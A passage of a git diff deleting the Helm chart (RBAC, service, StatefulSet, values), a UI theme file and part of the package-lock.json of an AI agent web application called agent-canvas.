with .Values.ingress.tls }} - tls: - {{- range . }} - - hosts: - {{- range .hosts }} - - {{ . | quote }} - {{- end }} - {{- if .secretName }} - secretName: {{ .secretName }} - {{- end }} - {{- end }} - {{- end }} - rules: - {{- range .Values.ingress.hosts }} - - {{- if .host }} - host: {{ .host | quote }} - {{- end }} - http: - paths: - {{- range .paths }} - - path: {{ .path }} - pathType: {{ default "Prefix" .pathType }} - backend: - service: - name: {{ $fullName }} - port: - number: {{ $svcPort }} - {{- end }} - {{- end }} -{{- end }} diff --git a/helm/agent-canvas/templates/rbac.yaml b/helm/agent-canvas/templates/rbac.yaml deleted file mode 100644 index fc94e2a2c..000000000 --- a/helm/agent-canvas/templates/rbac.yaml +++ /dev/null @@ -1,55 +0,0 @@ -{{- if .Values.rbac.enabled -}} -{{- $fullName := include "agent-canvas.fullname" . -}} -{{- $saName := include "agent-canvas.serviceAccountName" . -}} -{{- $saNs := .Release.Namespace -}} -{{- $labels := include "agent-canvas.labels" . -}} - -{{/* - Per-namespace bindings. Each entry in .Values.rbac.namespaces gets a - RoleBinding to the built-in `admin` ClusterRole, granting the agent - full access to all resources in that namespace (create/update/delete - Pods, Deployments, Services, etc.) but NOT to cluster-scoped resources. -*/}} -{{- range $ns := .Values.rbac.namespaces }} ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: RoleBinding -metadata: - name: {{ $fullName }}-admin - namespace: {{ $ns }} - labels: - {{- $labels | nindent 4 }} -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: admin -subjects: - - kind: ServiceAccount - name: {{ $saName }} - namespace: {{ $saNs }} -{{- end }} - -{{/* - Optional cluster-admin binding. Off by default because it grants full - control of the whole cluster including all namespaces, nodes, CRDs, - RBAC itself, etc. Turn on with rbac.clusterAdmin=true only when the - agent legitimately needs to manage the entire cluster. -*/}} -{{- if .Values.rbac.clusterAdmin }} ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRoleBinding -metadata: - name: {{ $fullName }}-cluster-admin - labels: - {{- $labels | nindent 4 }} -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: cluster-admin -subjects: - - kind: ServiceAccount - name: {{ $saName }} - namespace: {{ $saNs }} -{{- end }} -{{- end }} diff --git a/helm/agent-canvas/templates/service.yaml b/helm/agent-canvas/templates/service.yaml deleted file mode 100644 index 65414f0e5..000000000 --- a/helm/agent-canvas/templates/service.yaml +++ /dev/null @@ -1,43 +0,0 @@ -apiVersion: v1 -kind: Service -metadata: - name: {{ include "agent-canvas.fullname" . }} - namespace: {{ .Release.Namespace }} - labels: - {{- include "agent-canvas.labels" . | nindent 4 }} - {{- with .Values.service.annotations }} - annotations: - {{- toYaml . | nindent 4 }} - {{- end }} -spec: - type: {{ .Values.service.type }} - ports: - - name: http - port: {{ .Values.service.port }} - targetPort: http - protocol: TCP - {{- if and (eq .Values.service.type "NodePort") .Values.service.nodePort }} - nodePort: {{ .Values.service.nodePort }} - {{- end }} - selector: - {{- include "agent-canvas.selectorLabels" . | nindent 4 }} ---- -# Headless service required by the StatefulSet for stable network IDs. -apiVersion: v1 -kind: Service -metadata: - name: {{ include "agent-canvas.fullname" . }}-headless - namespace: {{ .Release.Namespace }} - labels: - {{- include "agent-canvas.labels" . | nindent 4 }} -spec: - type: ClusterIP - clusterIP: None - publishNotReadyAddresses: true - ports: - - name: http - port: {{ .Values.service.port }} - targetPort: http - protocol: TCP - selector: - {{- include "agent-canvas.selectorLabels" . | nindent 4 }} diff --git a/helm/agent-canvas/templates/serviceaccount.yaml b/helm/agent-canvas/templates/serviceaccount.yaml deleted file mode 100644 index aad592586..000000000 --- a/helm/agent-canvas/templates/serviceaccount.yaml +++ /dev/null @@ -1,14 +0,0 @@ -{{- if .Values.serviceAccount.create -}} -apiVersion: v1 -kind: ServiceAccount -metadata: - name: {{ include "agent-canvas.serviceAccountName" . }} - namespace: {{ .Release.Namespace }} - labels: - {{- include "agent-canvas.labels" . | nindent 4 }} - {{- with .Values.serviceAccount.annotations }} - annotations: - {{- toYaml . | nindent 4 }} - {{- end }} -automountServiceAccountToken: {{ .Values.serviceAccount.automountServiceAccountToken }} -{{- end }} diff --git a/helm/agent-canvas/templates/statefulset.yaml b/helm/agent-canvas/templates/statefulset.yaml deleted file mode 100644 index 261a70c0a..000000000 --- a/helm/agent-canvas/templates/statefulset.yaml +++ /dev/null @@ -1,174 +0,0 @@ -{{- $fullName := include "agent-canvas.fullname" . -}} -apiVersion: apps/v1 -kind: StatefulSet -metadata: - name: {{ $fullName }} - namespace: {{ .Release.Namespace }} - labels: - {{- include "agent-canvas.labels" . | nindent 4 }} -spec: - serviceName: {{ $fullName }}-headless - replicas: {{ .Values.replicaCount }} - podManagementPolicy: {{ .Values.statefulSet.podManagementPolicy }} - {{- with .Values.statefulSet.updateStrategy }} - updateStrategy: - {{- toYaml . | nindent 4 }} - {{- end }} - {{- with .Values.statefulSet.persistentVolumeClaimRetentionPolicy }} - persistentVolumeClaimRetentionPolicy: - {{- toYaml . | nindent 4 }} - {{- end }} - selector: - matchLabels: - {{- include "agent-canvas.selectorLabels" . | nindent 6 }} - template: - metadata: - labels: - {{- include "agent-canvas.selectorLabels" . | nindent 8 }} - {{- with .Values.podLabels }} - {{- toYaml . | nindent 8 }} - {{- end }} - {{- with .Values.podAnnotations }} - annotations: - {{- toYaml . | nindent 8 }} - {{- end }} - spec: - serviceAccountName: {{ include "agent-canvas.serviceAccountName" . }} - automountServiceAccountToken: {{ .Values.serviceAccount.automountServiceAccountToken }} - {{- with .Values.imagePullSecrets }} - imagePullSecrets: - {{- toYaml . | nindent 8 }} - {{- end }} - {{- with .Values.podSecurityContext }} - securityContext: - {{- toYaml . | nindent 8 }} - {{- end }} - containers: - - name: agent-canvas - image: {{ include "agent-canvas.image" . }} - imagePullPolicy: {{ .Values.image.pullPolicy }} - {{- with .Values.securityContext }} - securityContext: - {{- toYaml . | nindent 12 }} - {{- end }} - ports: - - name: http - containerPort: {{ .Values.config.port }} - protocol: TCP - env: - - name: PORT - value: {{ .Values.config.port | quote }} - - name: AGENT_SERVER_PORT - value: {{ .Values.config.agentServerPort | quote }} - - name: AUTOMATION_PORT - value: {{ .Values.config.automationPort | quote }} - {{- if .Values.config.automationDbUrl }} - - name: AUTOMATION_DB_URL - value: {{ .Values.config.automationDbUrl | quote }} - {{- end }} - {{- if .Values.secrets.ohSecretKey.existingSecret }} - - name: OH_SECRET_KEY - valueFrom: - secretKeyRef: - name: {{ .Values.secrets.ohSecretKey.existingSecret }} - key: {{ .Values.secrets.ohSecretKey.key }} - {{- end }} - {{- if .Values.secrets.sessionApiKey.existingSecret }} - - name: OH_SESSION_API_KEYS_0 - valueFrom: - secretKeyRef: - name: {{ .Values.secrets.sessionApiKey.existingSecret }} - key: {{ .Values.secrets.sessionApiKey.key }} - {{- end }} - {{- with .Values.config.extraEnv }} - {{- toYaml . | nindent 12 }} - {{- end }} - {{- if .Values.probes.startup.enabled }} - startupProbe: - httpGet: - path: {{ .Values.probes.startup.path }} - port: http - periodSeconds: {{ .Values.probes.startup.periodSeconds }} - timeoutSeconds: {{ .Values.probes.startup.timeoutSeconds }} - failureThreshold: {{ .Values.probes.startup.failureThreshold }} - {{- end }} - {{- if .Values.probes.liveness.enabled }} - livenessProbe: - httpGet: - path: {{ .Values.probes.liveness.path }} - port: http - initialDelaySeconds: {{ .Values.probes.liveness.initialDelaySeconds }} - periodSeconds: {{ .Values.probes.liveness.periodSeconds }} - timeoutSeconds: {{ .Values.probes.liveness.timeoutSeconds }} - failureThreshold: {{ .Values.probes.liveness.failureThreshold }} - {{- end }} - {{- if .Values.probes.readiness.enabled }} - readinessProbe: - httpGet: - path: {{ .Values.probes.readiness.path }} - port: http - initialDelaySeconds: {{ .Values.probes.readiness.initialDelaySeconds }} - periodSeconds: {{ .Values.probes.readiness.periodSeconds }} - timeoutSeconds: {{ .Values.probes.readiness.timeoutSeconds }} - failureThreshold: {{ .Values.probes.readiness.failureThreshold }} - {{- end }} - {{- with .Values.resources }} - resources: - {{- toYaml . | nindent 12 }} - {{- end }} - {{- if .Values.persistence.enabled }} - volumeMounts: - {{- range .Values.persistence.mounts }} - - name: {{ include "agent-canvas.pvcClaimName" $ }} - mountPath: {{ .mountPath }} - {{- if .subPath }} - subPath: {{ .subPath }} - {{- end }} - {{- end }} - {{- end }} - {{- with .Values.nodeSelector }} - nodeSelector: - {{- toYaml . | nindent 8 }} - {{- end }} - {{- with .Values.tolerations }} - tolerations: - {{- toYaml . | nindent 8 }} - {{- end }} - {{- with .Values.affinity }} - affinity: - {{- toYaml . | nindent 8 }} - {{- end }} - {{- with .Values.topologySpreadConstraints }} - topologySpreadConstraints: - {{- toYaml . | nindent 8 }} - {{- end }} - {{- if and .Values.persistence.enabled .Values.persistence.existingClaim }} - volumes: - - name: {{ include "agent-canvas.pvcClaimName" . }} - persistentVolumeClaim: - claimName: {{ .Values.persistence.existingClaim }} - {{- end }} - {{- if and .Values.persistence.enabled (not .Values.persistence.existingClaim) }} - volumeClaimTemplates: - - metadata: - name: {{ include "agent-canvas.pvcClaimName" . }} - labels: - {{- /* MUST use immutableLabels here, not the full label set. - volumeClaimTemplates is under STS.spec (not spec.template) - and is rejected by the apiserver on any diff, including - label churn from `appVersion` / chart `version` bumps. */}} - {{- include "agent-canvas.immutableLabels" . | nindent 10 }} - {{- with .Values.persistence.annotations }} - annotations: - {{- toYaml . | nindent 10 }} - {{- end }} - spec: - accessModes: - {{- toYaml .Values.persistence.accessModes | nindent 10 }} - {{- if .Values.persistence.storageClassName }} - storageClassName: {{ .Values.persistence.storageClassName | quote }} - {{- end }} - resources: - requests: - storage: {{ .Values.persistence.size | quote }} - {{- end }} diff --git a/helm/agent-canvas/values.yaml b/helm/agent-canvas/values.yaml deleted file mode 100644 index 6f9eb3376..000000000 --- a/helm/agent-canvas/values.yaml +++ /dev/null @@ -1,235 +0,0 @@ -# Default values for agent-canvas. -# This chart deploys the all-in-one agent-canvas image (frontend + -# agent-server + automation) as a single-replica StatefulSet with a -# PersistentVolumeClaim mounted at $HOME/.openhands. - -# -- Number of replicas. The all-in-one image stores conversation state, -# settings, and the automation SQLite DB on a single PVC — keep this at 1 -# unless you point AUTOMATION_DB_URL at an external Postgres and are ready -# to run the agent-server in a genuinely shareable mode. -replicaCount: 1 - -image: - repository: ghcr.io/openhands/agent-canvas - # Image tag is pinned to the chart's appVersion. Override with - # `--set image.tag=sha-<...>` when you need a specific build (e.g. a PR - # image or a hotfix that doesn't match the chart's appVersion). - # tag: "" - pullPolicy: IfNotPresent - -imagePullSecrets: [] -# - name: ghcr-pull-secret - -nameOverride: "" -fullnameOverride: "" - -# ── ServiceAccount + RBAC ──────────────────────────────────────────────────── -# When rbac.enabled is true, the ServiceAccount gets permissions inside -# the cluster. Two independent knobs: -# -# rbac.namespaces — list of namespaces where the SA is granted -# full ("*") access to all resources via a -# per-namespace RoleBinding to the cluster's -# built-in `admin` ClusterRole. -# rbac.clusterAdmin — if true, additionally bind the SA to the -# built-in `cluster-admin` ClusterRole. -# OFF by default. -# -# Leave rbac.enabled=false to run the agent with no cluster access at all -# (the ServiceAccount is still created so pods run under a stable -# identity, but no Role/ClusterRole bindings are created). -serviceAccount: - create: true - name: "" - annotations: {} - automountServiceAccountToken: true - -rbac: - # Master switch for creating any RoleBinding / ClusterRoleBinding. - enabled: false - # Namespaces the agent-server is allowed to manage all resources in. - # Each entry produces a RoleBinding in that namespace binding this - # release's ServiceAccount to the built-in `admin` ClusterRole (full - # namespace-scoped access, but no cluster-wide privileges). - # - # Example: - # namespaces: - # - default - # - agent-sandbox - namespaces: [] - # If true, additionally grant cluster-admin via a ClusterRoleBinding. - # This is a very broad privilege — off by default. - clusterAdmin: false - -# ── Service ────────────────────────────────────────────────────────────────── -service: - type: ClusterIP - port: 8000 - # nodePort: 30800 # only used when type is NodePort - annotations: {} - -# ── Ingress ────────────────────────────────────────────────────────────────── -ingress: - enabled: false - className: "" - annotations: {} - # nginx.ingress.kubernetes.io/proxy-read-timeout: "3600" - # nginx.ingress.kubernetes.io/proxy-send-timeout: "3600" - # nginx.ingress.kubernetes.io/proxy-body-size: "50m" - # cert-manager.io/cluster-issuer: letsencrypt-prod - hosts: - - host: agent-canvas.local - paths: - - path: / - pathType: Prefix - tls: [] - # - hosts: - # - agent-canvas.example.com - # secretName: agent-canvas-tls - -# ── Persistence ────────────────────────────────────────────────────────────── -# The chart provisions ONE PVC and mounts it in the pod at multiple -# well-known subdirectories of $HOME so those trees survive pod -# restarts, rescheduling, and image upgrades — while leaving the rest -# of $HOME untouched (the base image ships dotfiles like ~/.bashrc and -# ~/.profile there that must not be shadowed). -# -# Defaults cover the two paths users care about: -# * $HOME/.openhands — agent-server settings, encrypted secrets, -# conversation history, event stores, automation SQLite DB (unless -# AUTOMATION_DB_URL is overridden), session API key, OH_SECRET_KEY -# * $HOME/workspace — the agent's default working directory: cloned -# repos, worktrees, generated files, anything the agent writes when -# it treats ~ as the workspace root -# -# The upstream agent-server image runs as `openhands` (UID 10001) with -# HOME=/home/openhands. Add more entries to `mounts` if you want other -# subtrees persisted (e.g. ~/.cache, ~/.config). -persistence: - enabled: true - # List of paths inside $HOME to persist. Each entry becomes a - # volumeMount on the container backed by the same PVC via `subPath`, - # so multiple paths share the same disk. `mountPath` is the absolute - # path inside the container; `subPath` is a directory name inside - # the PVC (must be unique across entries and safe on ext4). - mounts: - - mountPath: /home/openhands/.openhands - subPath: openhands - - mountPath: /home/openhands/workspace - subPath: workspace - size: 20Gi - # storageClassName: "" # empty → cluster default - accessModes: - - ReadWriteOnce - annotations: {} - # If you prefer to bring your own PVC (already existing in the - # namespace), set existingClaim to its name. That disables the - # StatefulSet volumeClaimTemplates path. - existingClaim: "" - -# ── Configuration ──────────────────────────────────────────────────────────── -config: - # Unified entry point port inside the container. - port: 8000 - # Internal ports used by the entrypoint's process manager. - agentServerPort: 18000 - automationPort: 18001 - # Optional Postgres connection string for the automation backend. - # When empty, the entrypoint falls back to SQLite on the PVC. - # automationDbUrl: "postgresql+asyncpg://user:pass@host/db" - automationDbUrl: "" - # Extra environment variables to pass through to the container. - # Each entry is `{ name: ..., value: ... }` or `{ name: ..., valueFrom: ... }`. - extraEnv: [] - # - name: LLM_MODEL - # value: "openhands/claude-sonnet-4-5-20250929" - # - name: LLM_API_KEY - # valueFrom: - # secretKeyRef: - # name: my-llm-secret - # key: api-key - -secrets: - # If provided, seed OH_SECRET_KEY (settings encryption) and the - # session API key from Kubernetes Secrets instead of letting the - # entrypoint auto-generate them on first boot. - # Auto-generation persists to the PVC, so leaving these empty is fine - # for most single-tenant deployments. - ohSecretKey: - existingSecret: "" - key: "ohSecretKey" - sessionApiKey: - existingSecret: "" - key: "sessionApiKey" - -# ── Pod-level knobs ────────────────────────────────────────────────────────── -podAnnotations: {} -podLabels: {} - -podSecurityContext: - # The upstream agent-server image runs as `openhands` (UID 10001). - # fsGroup 10001 makes the kubelet chown the PVC to that gid on mount - # so the process can write to it. runAsUser/runAsGroup are pinned to - # the same values as a belt-and-suspenders check against future image - # rebuilds — if the image's USER changes, override these to match. - fsGroup: 10001 - runAsNonRoot: true - runAsUser: 10001 - runAsGroup: 10001 - -securityContext: {} - # capabilities: - # drop: [ALL] - # readOnlyRootFilesystem: false - # allowPrivilegeEscalation: false - -resources: - requests: - cpu: 500m - memory: 1Gi - limits: - cpu: "2" - memory: 4Gi - -nodeSelector: {} -tolerations: [] -affinity: {} -topologySpreadConstraints: [] - -# Probes hit the unified entry point. -probes: - liveness: - enabled: true - path: /alive - initialDelaySeconds: 30 - periodSeconds: 30 - timeoutSeconds: 5 - failureThreshold: 5 - readiness: - enabled: true - path: /alive - initialDelaySeconds: 10 - periodSeconds: 10 - timeoutSeconds: 5 - failureThreshold: 3 - startup: - enabled: true - path: /alive - periodSeconds: 5 - timeoutSeconds: 5 - # Allow up to 5 minutes for first-boot dependencies / DB migration. - failureThreshold: 60 - -# StatefulSet-specific knobs. -statefulSet: - # Whether the StatefulSet uses OrderedReady or Parallel pod management. - # OrderedReady is safer for stateful workloads; use Parallel only if - # you understand the implications. - podManagementPolicy: OrderedReady - # updateStrategy for rollouts. - updateStrategy: - type: RollingUpdate - # Retained volumes on scale-down/deletion. Kubernetes 1.27+. - # persistentVolumeClaimRetentionPolicy: - # whenDeleted: Retain - # whenScaled: Retain diff --git a/hero.ts b/hero.ts deleted file mode 100644 index d7f6a41c9..000000000 --- a/hero.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { heroui } from "@heroui/react"; - -export default heroui({ - defaultTheme: "dark", - layout: { - radius: { - small: "5px", - large: "20px", - }, - }, - themes: { - dark: { - colors: { - primary: "#4465DB", - - // Map HeroUI's zinc-based semantic colours to our cool-grey palette. - // This ensures every HeroUI component that uses bg-default, bg-content*, - // etc. stays within the same colour family as the rest of the UI. - - background: { - DEFAULT: "#0B0E14", // cool-grey-950 — app shell base - foreground: "#F7F9FC", // cool-grey-50 - }, - - foreground: { - DEFAULT: "#C3CDDC", // cool-grey-300 — primary readable text - "50": "#05070A", // cool-grey-975 - "100": "#0B0E14", // cool-grey-950 - "200": "#21252F", // cool-grey-925 - "300": "#2C313F", // cool-grey-900 - "400": "#383F50", // cool-grey-800 - "500": "#4B5468", // cool-grey-700 - "600": "#626D82", // cool-grey-600 - "700": "#7E8A9E", // cool-grey-500 - "800": "#A3B0C4", // cool-grey-400 - "900": "#C3CDDC", // cool-grey-300 - }, - - // Surface layers: panel → card → inner card → inset - content1: { DEFAULT: "#21252F", foreground: "#EEF2F7" }, // cool-grey-925 / 100 - content2: { DEFAULT: "#2C313F", foreground: "#DCE3EE" }, // cool-grey-900 / 200 - content3: { DEFAULT: "#383F50", foreground: "#C3CDDC" }, // cool-grey-800 / 300 - content4: { DEFAULT: "#4B5468", foreground: "#A3B0C4" }, // cool-grey-700 / 400 - - focus: { - DEFAULT: "#ffffff", // white focus ring — visible on all dark surfaces - }, - default: { - "50": "#05070A", // cool-grey-975 - "100": "#0B0E14", // cool-grey-950 - "200": "#21252F", // cool-grey-925 - "300": "#2C313F", // cool-grey-900 - "400": "#383F50", // cool-grey-800 - "500": "#4B5468", // cool-grey-700 - "600": "#626D82", // cool-grey-600 - "700": "#7E8A9E", // cool-grey-500 - "800": "#A3B0C4", // cool-grey-400 - "900": "#C3CDDC", // cool-grey-300 - DEFAULT: "#383F50", // cool-grey-800 — hover/selected tint - foreground: "#F7F9FC", // cool-grey-50 — text on default bg - }, - }, - }, - }, -}); diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index 5b1f57561..000000000 --- a/package-lock.json +++ /dev/null @@ -1,21433 +0,0 @@ -{ - "name": "@openhands/agent-canvas", - "version": "1.6.1", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "@openhands/agent-canvas", - "version": "1.6.1", - "license": "MIT", - "dependencies": { - "@heroui/react": "2.8.10", - "@microlink/react-json-view": "1.31.20", - "@monaco-editor/react": "4.7.0", - "@openhands/extensions": "0.11.0", - "@openhands/typescript-client": "1.34.0", - "@react-router/node": "7.17.0", - "@react-router/serve": "7.17.0", - "@tailwindcss/vite": "4.2.4", - "@tanstack/react-query": "5.100.9", - "@types/shell-quote": "1.7.5", - "@uidotdev/usehooks": "2.4.1", - "@xterm/addon-fit": "0.11.0", - "@xterm/xterm": "6.0.0", - "axios": "1.18.0", - "class-variance-authority": "0.7.1", - "clsx": "2.1.1", - "downshift": "9.3.2", - "framer-motion": "12.38.0", - "httpxy": "0.5.3", - "i18next": "26.0.8", - "i18next-browser-languagedetector": "8.2.1", - "i18next-http-backend": "4.0.0", - "isbot": "5.1.39", - "lucide-react": "1.25.0", - "monaco-editor": "0.55.1", - "posthog-js": "1.372.6", - "react": "19.2.5", - "react-dom": "19.2.5", - "react-hot-toast": "2.6.0", - "react-i18next": "17.0.6", - "react-icons": "5.6.0", - "react-markdown": "10.1.0", - "react-router": "7.17.0", - "react-syntax-highlighter": "16.1.1", - "rehype-raw": "7.0.0", - "rehype-sanitize": "6.0.0", - "remark-breaks": "4.0.0", - "remark-gfm": "4.0.1", - "shell-quote": "1.9.0", - "sirv": "3.0.2", - "sirv-cli": "3.0.1", - "socket.io-client": "4.8.3", - "tailwind-merge": "3.5.0", - "tailwind-scrollbar": "4.0.2", - "unist-util-visit": "5.1.0", - "uuid": "14.0.0", - "vite": "8.0.16", - "winston": "3.19.0", - "winston-daily-rotate-file": "5.0.0", - "zustand": "5.0.12" - }, - "bin": { - "agent-canvas": "bin/agent-canvas.mjs" - }, - "devDependencies": { - "@eslint/eslintrc": "3.3.1", - "@eslint/js": "9.39.4", - "@mswjs/socket.io-binding": "0.2.0", - "@playwright/test": "1.59.1", - "@react-router/dev": "7.17.0", - "@tailwindcss/typography": "0.5.19", - "@tanstack/eslint-plugin-query": "5.100.9", - "@testing-library/dom": "10.4.1", - "@testing-library/jest-dom": "6.9.1", - "@testing-library/react": "16.3.2", - "@testing-library/user-event": "14.6.1", - "@types/mdast": "4.0.4", - "@types/node": "25.6.0", - "@types/react": "19.2.14", - "@types/react-dom": "19.2.3", - "@types/react-syntax-highlighter": "15.5.13", - "@typescript-eslint/eslint-plugin": "8.59.2", - "@typescript-eslint/parser": "8.59.2", - "@vercel/react-router": "1.3.0", - "@vitest/coverage-v8": "4.1.5", - "cross-env": "10.1.0", - "electron": "42.3.3", - "electron-builder": "26.8.1", - "eslint": "9.39.4", - "eslint-config-prettier": "10.1.8", - "eslint-import-resolver-typescript": "4.4.4", - "eslint-plugin-i18next": "6.1.4", - "eslint-plugin-import-x": "4.16.2", - "eslint-plugin-jsx-a11y": "6.10.2", - "eslint-plugin-prettier": "5.5.5", - "eslint-plugin-react": "7.37.5", - "eslint-plugin-react-hooks": "7.1.1", - "eslint-plugin-unused-imports": "4.4.1", - "globals": "16.5.0", - "husky": "9.1.7", - "jsdom": "29.1.1", - "lint-staged": "16.4.0", - "msw": "2.14.2", - "postcss-prefix-selector": "2.1.1", - "prettier": "3.8.3", - "tailwindcss": "4.2.4", - "typescript": "6.0.3", - "vite-plugin-svgr": "5.2.0", - "vitest": "4.1.5" - }, - "engines": { - "node": ">=22.12.0" - }, - "peerDependencies": { - "react": "19.2.5", - "react-dom": "19.2.5", - "react-router": "7.17.0" - } - }, - "node_modules/@adobe/css-tools": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz", - "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/@adobe/react-spectrum": { - "version": "3.47.1", - "resolved": "https://registry.npmjs.org/@adobe/react-spectrum/-/react-spectrum-3.47.1.tgz", - "integrity": "sha512-mijNyd8XmA6KoBMbqKc4Rp+S2voKdZkPydJFjQbG0SkOjOKcgqVpJdKGsKdLMZBn9Jk5SgEuklyrhc7Uvot2tA==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.2", - "@react-types/shared": "^3.35.0", - "@spectrum-icons/ui": "^3.7.1", - "@spectrum-icons/workflow": "^4.3.1", - "@swc/helpers": "^0.5.0", - "client-only": "^0.0.1", - "clsx": "^2.0.0", - "react-aria": "3.49.0", - "react-aria-components": "1.18.0", - "react-stately": "3.47.0", - "react-transition-group": "^4.4.5", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@adobe/react-spectrum-ui": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@adobe/react-spectrum-ui/-/react-spectrum-ui-1.2.1.tgz", - "integrity": "sha512-wcrbEE2O/9WnEn6avBnaVRRx88S5PLFsPLr4wffzlbMfXeQsy+RMQwaJd3cbzrn18/j04Isit7f7Emfn0dhrJA==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/@adobe/react-spectrum-workflow": { - "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@adobe/react-spectrum-workflow/-/react-spectrum-workflow-2.3.5.tgz", - "integrity": "sha512-b53VIPwPWKb/T5gzE3qs+QlGP5gVrw/LnWV3xMksDU+CRl3rzOKUwxIGiZO8ICyYh1WiyqY4myGlPU/nAynBUg==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/@adobe/react-spectrum/node_modules/@internationalized/date": { - "version": "3.12.2", - "resolved": "https://registry.npmjs.org/@internationalized/date/-/date-3.12.2.tgz", - "integrity": "sha512-FY1Y+H64NDs+HAF6omlnWxm3mEpfgaCSWtL5l551ZZfImA+kGjPFgrnJrGjH6lfmLL0g8Z/mBu1R3kufeCp6Jw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - } - }, - "node_modules/@adobe/react-spectrum/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@asamuzakjp/css-color": { - "version": "5.1.11", - "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", - "integrity": "sha512-KVw6qIiCTUQhByfTd78h2yD1/00waTmm9uy/R7Ck/ctUyAPj+AEDLkQIdJW0T8+qGgj3j5bpNKK7Q3G+LedJWg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@asamuzakjp/generational-cache": "^1.0.1", - "@csstools/css-calc": "^3.2.0", - "@csstools/css-color-parser": "^4.1.0", - "@csstools/css-parser-algorithms": "^4.0.0", - "@csstools/css-tokenizer": "^4.0.0" - }, - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/@asamuzakjp/dom-selector": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz", - "integrity": "sha512-67RZDnYRc8H/8MLDgQCDE//zoqVFwajkepHZgmXrbwybzXOEwOWGPYGmALYl9J2DOLfFPPs6kKCqmbzV895hTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@asamuzakjp/generational-cache": "^1.0.1", - "@asamuzakjp/nwsapi": "^2.3.9", - "bidi-js": "^1.0.3", - "css-tree": "^3.2.1", - "is-potential-custom-element-name": "^1.0.1" - }, - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/@asamuzakjp/generational-cache": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz", - "integrity": "sha512-wajfB8KqzMCN2KGNFdLkReeHncd0AslUSrvHVvvYWuU8ghncRJoA50kT3zP9MVL0+9g4/67H+cdvBskj9THPzg==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/@asamuzakjp/nwsapi": { - "version": "2.3.9", - "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz", - "integrity": "sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/@babel/code-frame": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", - "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.29.7", - "js-tokens": "^4.0.0", - "picocolors": "^1.1.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/compat-data": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", - "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/core": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", - "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.29.7", - "@babel/generator": "^7.29.7", - "@babel/helper-compilation-targets": "^7.29.7", - "@babel/helper-module-transforms": "^7.29.7", - "@babel/helpers": "^7.29.7", 